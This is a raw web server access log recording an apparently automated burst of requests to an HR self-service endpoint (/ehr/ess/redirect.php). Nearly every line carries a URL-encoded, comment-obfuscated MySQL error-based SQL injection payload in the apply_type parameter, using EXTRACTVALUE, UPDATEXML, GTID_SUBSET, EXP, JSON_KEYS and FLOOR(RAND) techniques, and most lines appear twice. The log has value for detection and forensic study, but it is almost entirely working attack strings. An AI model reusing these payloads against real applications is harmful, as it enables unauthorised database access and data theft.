100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x58313176%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a427730%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x58313176%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a427730%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f6b464f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x414c4e6c%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f6b464f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x414c4e6c%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x79503075%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b467370%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x79503075%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b467370%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x58317538%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51747a53%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x58317538%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51747a53%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x38755870%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x396c594d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x38755870%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x396c594d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x31583766%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70675574%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x31583766%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70675574%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6657684b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x716d4b77%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6657684b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x716d4b77%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x366c6b68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4456686d%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x366c6b68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4456686d%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x68775a5a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63646548%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x68775a5a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63646548%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x65694c31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d563643%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x65694c31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d563643%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x52787270%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e626448%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x52787270%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e626448%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4b4d557a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31724148%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4b4d557a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31724148%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x66784d4d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a574863%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x66784d4d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a574863%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x64515759%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d6a467a%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x64515759%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d6a467a%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x54755733%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54723258%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x54755733%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54723258%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4b4b4466%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57725a6a%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4b4b4466%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57725a6a%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7277794c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37424d55%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7277794c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37424d55%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x33644b6a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45645945%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x33644b6a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45645945%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x63757431%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a754e48%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x63757431%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a754e48%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
